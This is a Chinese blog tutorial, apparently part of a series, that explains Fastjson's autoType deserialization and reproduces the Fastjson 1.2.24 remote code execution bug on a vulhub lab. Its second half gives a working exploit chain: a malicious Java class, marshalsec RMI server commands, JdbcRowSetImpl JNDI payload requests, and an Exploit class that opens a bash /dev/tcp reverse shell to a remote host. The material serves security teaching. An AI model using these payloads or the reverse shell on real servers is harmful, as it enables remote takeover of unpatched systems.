反序列化渗透与攻防(四)之Fastjson反序列化漏洞

Fastjson反序列化漏洞

Fastjson介绍

Fastjson是一个阿里巴巴开源的一款使用Java语言编写的高性能功能完善的JSON库,通常被用于将Java Bean和JSON 字符串之间进行转换。它采用一种“假定有序快速匹配”的算法,把JSON Parse的性能提升到极致,是目前Java语言中最快的JSON库。Fastjson接口简单易用,已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景。但是,从诞生之初,fastjson就多次被爆出存在反序列化漏洞。并且,每次都和autoType有关!那么,什么是autoType呢?

autoType

fastjson的主要功能就是将Java Bean序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。

但是,fastjson在序列化以及反序列化的过程中并没有使用Java自带的序列化机制,而是自定义了一套机制。

其实,对于JSON框架来说,想要把一个Java对象转换成字符串,可以有两种选择:

1:基于属性
2:基于setter/getter

而我们所常用的JSON序列化框架中,FastJson和jackson在把对象序列化成json字符串的时候,是通过遍历出该类中的所有getter方法进行的。Gson并不是这么做的,他是通过反射遍历该类中的所有属性,并把其值序列化成json

Fastjson反序列化实列

首先我们定义一个User类

public class User {
    private String name; //私有属性,有getter、setter方法
    private int age; //私有属性,有getter、setter方法
    private boolean flag; //私有属性,有is、setter方法
    public String sex; //公有属性,无getter、setter方法
    private String address; //私有属性,无getter、setter方法

    public User() {
        System.out.println("call User default Constructor");
    }

    public String getName() {
        System.out.println("call User getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("call User setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("call User getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("call User setAge");
        this.age = age;
    }

    public boolean isFlag() {
        System.out.println("call User isFlag");
        return flag;
    }

    public void setFlag(boolean flag) {
        System.out.println("call User setFlag");
        this.flag = flag;
    }

    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
        ", age=" + age +
                ", flag=" + flag +
                ", sex='" + sex + '\'' +
        ", address='" + address + '\'' +
        '}';
    }

/*    interface Fruit {
    }

    class Apple implements Fruit {
        private BigDecimal price;
        //省略 setter/getter、toString等

    }*/
}

反序列化渗透与攻防(四)之Fastjson反序列化漏洞_第1张图片

然后我们在新建一个JsonTest类进行序列化和反序列化操作

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class JsonTest {
    public static void main(String[] args) {
        // 从1.2.25开始,autotype默认关闭
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        // 序列化字符
        String serializedStr = "{\"@type\":\"com.wuya.test.User\",\"name\":\"wuya\",\"age\":66, \"flag\": true,\"sex\":\"boy\",\"address\":\"china\"}";//
        System.out.println("serializedStr=" + serializedStr);

        System.out.println("-----------------------------------------------\n\n");
        //通过parse方法进行反序列化,返回的是一个JSONObject]
        System.out.println("JSON.parse(serializedStr):");
        Object obj1 =JSON.parse(serializedStr);
        System.out.println("parse反序列化对象名称:" + obj1.getClass().getName());
        System.out.println("parse反序列化:" + obj1);
        System.out.println("-----------------------------------------------\n");

        // 通过parseObject,不指定类,返回的是一个JSONObject
        System.out.println("JSON.parseObject(serializedStr):");
        Object obj2 = JSON.parseObject(serializedStr);
        System.out.println("parseObject反序列化对象名称:" + obj2.getClass().getName());
        System.out.println("parseObject反序列化:" + obj2);
        System.out.println("-----------------------------------------------\n");

        // 通过parseObject,指定为object.class
        System.out.println("JSON.parseObject(serializedStr, Object.class):");
        Object obj3 = JSON.parseObject(serializedStr, Object.class);
        System.out.println("parseObject反序列化对象名称:" + obj3.getClass().getName());
        System.out.println("parseObject反序列化:" + obj3);
        System.out.println("-----------------------------------------------\n");

        // 通过parseObject,指定为User.class
        System.out.println("JSON.parseObject(serializedStr, User.class):");
        Object obj4 = JSON.parseObject(serializedStr, User.class);
        System.out.println("parseObject反序列化对象名称:" + obj4.getClass().getName());
        System.out.println("parseObject反序列化:" + obj4);
        System.out.println("-----------------------------------------------\n");
    }

}

然后右键运行,这是代码运行后的效果:

反序列化渗透与攻防(四)之Fastjson反序列化漏洞_第2张图片
Fastjson序列化的时候,会调用成员变量的get方法,私有成员变量不会被序列化

反序列化的时候,会调用成员变量的set方法,publibc修饰的成员全部自动赋值

Fastjson中反序列化的方法有两种:

JSON.parseObject() 返回实际类型对象

User user1 = JSON.parseObject(serializedStr, User.class);

JSON.parse() 返回JsonObject对象

Object obj1 =JSON.parse(serializedStr);

Fastjson1.2.24反序列化漏洞复现

1、vulhub启动靶场

使用docker搭建靶机环境,进入1.2.24-rce

docker-compose up -d

在这里插入图片描述

检查端口是否开放

docker-compose ps

在这里插入图片描述

访问目标服务器路径,如下

反序列化渗透与攻防(四)之Fastjson反序列化漏洞_第3张图片

我们向这个地址POST一个JSON对象,即可更新服务器端的信息

curl http://192.168.0.112:8090/ -H "Content-Type:application/json" --data '{"name":"wd","age":20}' 
{
        "age":20,
        "name":"wd"
}    

在这里插入图片描述

然后我们编辑恶意类LinuxTouch:

public class LinuxTouch {
    public LinuxTouch(){
        try{
            Runtime.getRuntime().exec("touch /tmp/fast-success.txt");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        LinuxTouch e = new LinuxTouch();
    }
}
javac LinuxTouch.java

这是我们编译好的恶意类:

反序列化渗透与攻防(四)之Fastjson反序列化漏洞_第4张图片

这里注意我编译java的版本,如果你复现不成功,可能是java版本的问题

2、Kali使用python启动HTTP服务,存放恶意类

python -m http.server 8089

反序列化渗透与攻防(四)之Fastjson反序列化漏洞_第5张图片

我们这里kali机器的IP是192.168.0.112

3、Kali 用marshalsec启动LDAP/RMI服务

最后,我们使用marshalsec-0.0.3-SNAPSHOT-all.jar起一个RMI服务器,监听9437端口,并制定加载远程类 LinuxTouch.class

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.0.112:8089/#LinuxTouch" 9473

反序列化渗透与攻防(四)之Fastjson反序列化漏洞_第6张图片

4、启动BP,数据包攻击

提交如下payload

POST / HTTP/1.1
Host: 192.168.0.112:8090
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 146

{
	"b": {
		"@type": "com.sun.rowset.JdbcRowSetImpl",
		"dataSourceName": "rmi://192.168.0.112:9473/LinuxTouch",
		"autoCommit": true
	}
}

反序列化渗透与攻防(四)之Fastjson反序列化漏洞_第7张图片
可以看到我们这边监听也收到了请求

反序列化渗透与攻防(四)之Fastjson反序列化漏洞_第8张图片

反序列化渗透与攻防(四)之Fastjson反序列化漏洞_第9张图片

上靶标tmp目录查看,可以看到生成了success文件,由于我们这里使用的靶场是vulhub搭建的,所以生成的文件在docker的环境里

docker ps -a

在这里插入图片描述

docker exec 2d4a5ccec2db ls /tmp

反序列化渗透与攻防(四)之Fastjson反序列化漏洞_第10张图片

5、Kali使用netcat监听端口,建立反弹连接

如果想要建立反弹连接,LinuxTouch.java就得修改为反弹shell的命令了,我们这里新建一个Exploit类

import java.io.BufferedReader;      
import java.io.InputStream;      
import java.io.InputStreamReader;       
public class Exploit{      
    public Exploit() throws Exception {      
        Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "bash -i >& /dev/tcp/xx.xx.xx.xx/53 0>&1"});      
        InputStream is = p.getInputStream();      
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));       
        String line;      
        while((line = reader.readLine()) != null) {      
            System.out.println(line);      
        }       
        p.waitFor();      
        is.close();      
        reader.close();      
        p.destroy();      
    }       
    public static void main(String[] args) throws Exception {      
    }      
}

然后重复上面的步骤,kali机器开启监听

nc -lvvp 53

反序列化渗透与攻防(四)之Fastjson反序列化漏洞_第11张图片

提交如下payload

POST / HTTP/1.1
Host: 192.168.0.112:8090
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 146

{
	"b": {
		"@type": "com.sun.rowset.JdbcRowSetImpl",
		"dataSourceName": "rmi://192.168.0.112:9473/Exploit",
		"autoCommit": true
	}
}

反序列化渗透与攻防(四)之Fastjson反序列化漏洞_第12张图片

kali机器收到监听

反序列化渗透与攻防(四)之Fastjson反序列化漏洞_第13张图片

你可能感兴趣的:(Web漏洞,java,网络安全,安全,服务器,网络)